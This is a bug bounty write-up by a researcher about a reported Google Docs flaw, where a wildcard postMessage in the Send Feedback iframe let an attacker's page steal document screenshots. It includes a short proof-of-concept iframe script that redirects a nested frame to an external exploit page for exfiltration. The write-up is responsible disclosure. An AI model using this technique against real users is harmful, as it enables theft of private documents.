Stealing your private documents through a bug in Google Docs

By KL Sreeram

Google has integrated a feedback sharing mechanism for many of its products like Google Docs, Google Sheets and so on. This feature is supposed to help users report bugs and broken functionality to Google developers who could then work on fixing it.

Sending Feedback in Google Products

You might have noticed a Send Feedback button at the bottom of the page while using Google Docs. It's a harmless feature, and its implemented as a feed back sharing system for Google Docs when you encounter issues. When you click on the button, a popup would appear asking you to describe the problem and this feature automatically takes a screenshot, sending (uploading) the data to Google for further review.

The "Send Feedback" popup in Google Docs

This feedback sharing feature is also implemented in many other Google products using an iFrame, embedded into the parent page (the Google Product).

This made me wonder how Google was displaying this image. I found, the image was being uploaded to Google via postMessage, and then rendered in the popup box before being sent to Google for further investigation.

The Bug

There was some cross-origin communication happening between docs.google.com, www.google.com and feedback.googleusercontent.com (which was a sandboxed domain). Even after trying a lot I was unable to find any XSS in feedback.googleusercontent.com which could have helped me in stealing the screenshot image data.

Below is a graphical representation of the steps in this process –

How the screenshot was uploaded to Google servers

The following postmessage function sent the data to feedback.googlusercontent.com, however the postmessage configuration didn't allow other domains to be iFramed.

windowRef.postmessage("<Data>","https://feedback.googleusercontent.com");

However, the final postmessage function upon submitting the feedback was configured in a manner that allowed modifying the iFrame to an evil website

windowRef.postmessage("<Data>","*");

The wildcard scope allowed the postmessage data to be sent to an evil attacker controlled domain. The security misconfiguration here is the wildcard scope *  that allowed me to steal and hijack Google Docs screenshots which were meant to be uploaded to Google's servers

Also, worth noting that the exploit worked in this case as Google Docs, by design has no X-Frame-Options header, which eventually helped exploit the cross-origin communication (through postMessage), although they do have some other protection against clickjacking and similar attacks as most features are disabled when the Google Docs pages are embedded in an iFrame.

The Final Exploit

Finally, I was able to put together all these vulnerabilities, in order to extract the Google Docs page screenshot by embedding it in a malicious iFrame and using window.frames.frame.location to load my exploit page from an external domain and steal user's Google Docs page screenshot

<html>
    <iframe src="https://docs.google.com/document/document_ID" />
    <script>
       //pseudo code
        
        
        setTimeout(function(){ alert("Hello"); }, 6000);

        function exp(){
        setInterval(function(){ 
         window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
        }, 100);
        }
    </script>
</html>

The above exploit gets triggered only once the user clicks on Send Feedback button. For allowing the iFrame to load, a setTimeout function executes every 6s (or, 6000 ms). To hijack the frame once it loads – the setInterval is used which tries to change the location of the iFrame every 100 ms to ensure the screenshot is stolen once the iFrame loads.

This could have allowed any attacker to steal sensitive information about your Google Docs documents and presentations, since organizations use it as part of G Suite for managing highly sensitive information. Although, this attack needs some user interaction but its not impossible given an attacker can easily convince a victim to perform the needed interaction (button click).

The exploit.html contains a postMessage event listener that captures the URL of the uploaded image, and the attacker successfully exfiltrates the Google Docs page screenshot in this way.

Video PoC of the Exploit

Below is a Proof of Concept video of how the exploit worked, and how it could have allowed any attacker to steal screenshots of your private Google Docs documents by loading it in an iFrame on an attacker controlled website.

The Bounty

Google rewarded $3133.7  for this bug under their VRP program.

About the author

KL Sreeram is a security researcher and bug bounty hunter. He is one of the top researchers in the Google VRP program. This bug was first documented by KL Sreeram on his blog.